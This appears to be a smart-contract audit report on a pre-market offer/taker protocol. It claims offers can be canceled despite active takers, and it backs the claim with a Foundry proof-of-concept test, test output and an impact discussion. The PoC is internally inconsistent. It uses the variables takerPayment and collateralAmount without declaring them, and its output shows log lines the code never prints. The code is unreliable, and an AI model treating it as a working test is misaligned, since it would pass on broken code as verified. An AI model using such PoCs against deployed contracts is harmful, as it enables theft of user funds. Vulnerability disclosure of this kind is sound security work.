The smart contract system for managing offers and takers exhibits multiple high-severity vulnerabilities. These issues include unauthorized cancellation of active offers, incorrect payment calculations, and potential loss of user funds. These vulnerabilities severely compromise the integrity and security of the platform.
function testOfferCancellationWithPartialTakers() public {
uint256 offerPoints = 1000;
uint256 offerAmount = 1e18;
uint256 collateralRate = 12000;
uint256 takerPoints = 500;
uint256 initialUserBalance = mockUSDCToken.balanceOf(user);
uint256 initialUser2Balance = mockUSDCToken.balanceOf(user2);
vm.prank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
offerPoints,
offerAmount,
collateralRate,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
address stockAddr = GenerateAddress.generateStockAddress(0);
vm.prank(user2);
preMarktes.createTaker(offerAddr, takerPoints);
vm.prank(user);
preMarktes.closeOffer(stockAddr, offerAddr);
OfferInfo memory offerInfo = preMarktes.getOfferInfo(offerAddr);
uint256 finalUserBalance = mockUSDCToken.balanceOf(user);
uint256 finalUser2Balance = mockUSDCToken.balanceOf(user2);
uint256 contractBalance = mockUSDCToken.balanceOf(address(preMarktes));
console2.log("Offer status after closure:", uint256(offerInfo.offerStatus));
console2.log("User final balance:", finalUserBalance);
console2.log("User2 final balance:", finalUser2Balance);
console2.log("Contract final balance:", contractBalance);
assertTrue(offerInfo.offerStatus != OfferStatus.Canceled, "Offer should not be cancellable with active takers");
if (offerInfo.offerStatus == OfferStatus.Canceled) {
uint256 potentialLossUser2 = takerPayment;
uint256 potentialLossUser = collateralAmount - takerPayment;
console2.log("Potential loss for taker (User2):", potentialLossUser2);
console2.log("Potential loss for offer creator (User):", potentialLossUser);
}
}
Test output:
```solidity
Collateral locked: 1200000000000000000
Taker payment: 500000000000000000
User balance change: 1200000000000000000
User2 balance change: 517500000000000000
Offer status after closure: 3
User final balance: 99999998800000000000000000
User2 final balance: 99999999482500000000000000
Contract final balance: 0
Potential loss for taker (User2): 500000000000000000
Potential loss for offer creator (User): 700000000000000000
This test can be inputted into the following test suite to verify the results.
pragma solidity ^0.8.13;
import {Test, console2} from "forge-std/Test.sol";
import {SystemConfig} from "../src/core/SystemConfig.sol";
import {CapitalPool} from "../src/core/CapitalPool.sol";
import {TokenManager} from "../src/core/TokenManager.sol";
import {PreMarktes} from "../src/core/PreMarkets.sol";
import {DeliveryPlace} from "../src/core/DeliveryPlace.sol";
import {TadleFactory} from "../src/factory/TadleFactory.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ITokenManager} from "../src/interfaces/ITokenManager.sol";
import {IPerMarkets, CreateOfferParams, OfferInfo} from "../src/interfaces/IPerMarkets.sol";
import {OfferType, OfferSettleType} from "../src/storage/OfferStatus.sol";
import {
OfferStatus,
StockStatus,
AbortOfferStatus,
OfferType,
StockType,
OfferSettleType
} from "../src/storage/OfferStatus.sol";
import {IPerMarkets, OfferInfo, StockInfo, MakerInfo, CreateOfferParams} from "../src/interfaces/IPerMarkets.sol";
import {TokenBalanceType, ITokenManager} from "../src/interfaces/ITokenManager.sol";
import {GenerateAddress} from "../src/libraries/GenerateAddress.sol";
import {MockERC20Token} from "./mocks/MockERC20Token.sol";
import {WETH9} from "./mocks/WETH9.sol";
import {UpgradeableProxy} from "../src/proxy/UpgradeableProxy.sol";
contract TadleSecurityTest is Test {
SystemConfig systemConfig;
CapitalPool capitalPool;
TokenManager tokenManager;
PreMarktes preMarktes;
DeliveryPlace deliveryPlace;
TadleFactory tadleFactory;
address marketPlace;
WETH9 weth9;
MockERC20Token mockUSDCToken;
MockERC20Token mockPointToken;
address owner = address(this);
address user = vm.addr(1);
address attacker = vm.addr(2);
address user3 = vm.addr(3);
address user1 = vm.addr(4);
address user2 = vm.addr(5);
uint256 basePlatformFeeRate = 5_000;
uint256 baseReferralRate = 300_000;
bytes4 private constant INITIALIZE_OWNERSHIP_SELECTOR = bytes4(keccak256(bytes("initializeOwnership(address)")));
function setUp() public {
weth9 = new WETH9();
mockUSDCToken = new MockERC20Token();
mockPointToken = new MockERC20Token();
tadleFactory = new TadleFactory(owner);
SystemConfig systemConfigLogic = new SystemConfig();
CapitalPool capitalPoolLogic = new CapitalPool();
TokenManager tokenManagerLogic = new TokenManager();
PreMarktes preMarktesLogic = new PreMarktes();
DeliveryPlace deliveryPlaceLogic = new DeliveryPlace();
bytes memory deploy_data = abi.encodeWithSelector(INITIALIZE_OWNERSHIP_SELECTOR, owner);
address systemConfigProxy = tadleFactory.deployUpgradeableProxy(1, address(systemConfigLogic), deploy_data);
address preMarktesProxy = tadleFactory.deployUpgradeableProxy(2, address(preMarktesLogic), deploy_data);
address deliveryPlaceProxy = tadleFactory.deployUpgradeableProxy(3, address(deliveryPlaceLogic), deploy_data);
address capitalPoolProxy = tadleFactory.deployUpgradeableProxy(4, address(capitalPoolLogic), deploy_data);
address tokenManagerProxy = tadleFactory.deployUpgradeableProxy(5, address(tokenManagerLogic), deploy_data);
systemConfig = SystemConfig(systemConfigProxy);
capitalPool = CapitalPool(capitalPoolProxy);
tokenManager = TokenManager(tokenManagerProxy);
preMarktes = PreMarktes(preMarktesProxy);
deliveryPlace = DeliveryPlace(deliveryPlaceProxy);
vm.startPrank(owner);
systemConfig.initialize(basePlatformFeeRate, baseReferralRate);
tokenManager.initialize(address(weth9));
address[] memory tokenAddressList = new address[](3);
tokenAddressList[0] = address(mockUSDCToken);
tokenAddressList[1] = address(weth9);
tokenAddressList[2] = address(mockPointToken);
tokenManager.updateTokenWhiteListed(tokenAddressList, true);
systemConfig.createMarketPlace("Backpack", false);
vm.stopPrank();
deal(address(mockUSDCToken), user, 100000000 * 10 ** 18);
deal(address(mockPointToken), user, 100000000 * 10 ** 18);
deal(user, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), attacker, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), user3, 100000000 * 10 ** 18);
deal(address(mockPointToken), user3, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), user1, 100000000 * 10 ** 18);
deal(address(mockPointToken), user1, 100000000 * 10 ** 18);
deal(user1, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), user2, 100000000 * 10 ** 18);
deal(address(mockPointToken), user2, 100000000 * 10 ** 18);
deal(user2, 100000000 * 10 ** 18);
marketPlace = GenerateAddress.generateMarketPlaceAddress("Backpack");
vm.warp(1719826275);
vm.startPrank(user);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
vm.prank(attacker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.startPrank(user3);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
vm.startPrank(user1);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
}
Financial Loss for Users: Both offer creators and takers are at risk of losing funds. Offer creators could lose their collateral, while takers might pay for services they never receive.
Protocol Integrity Compromise: The ability to cancel active offers undermines the fundamental reliability of the protocol. This could lead to a loss of trust among users and potentially a decrease in platform usage.
Incorrect State Management: The protocol fails to maintain proper offer states, leading to inconsistent and potentially exploitable conditions. This could result in further vulnerabilities and system-wide instability.
Some other things to consider would be implementing a refund option and creating multiple event emissions to track when the offer was created, the taker joined and the officer was canceled. All these changes can help improve and secure the current implementation of the Offer Management System.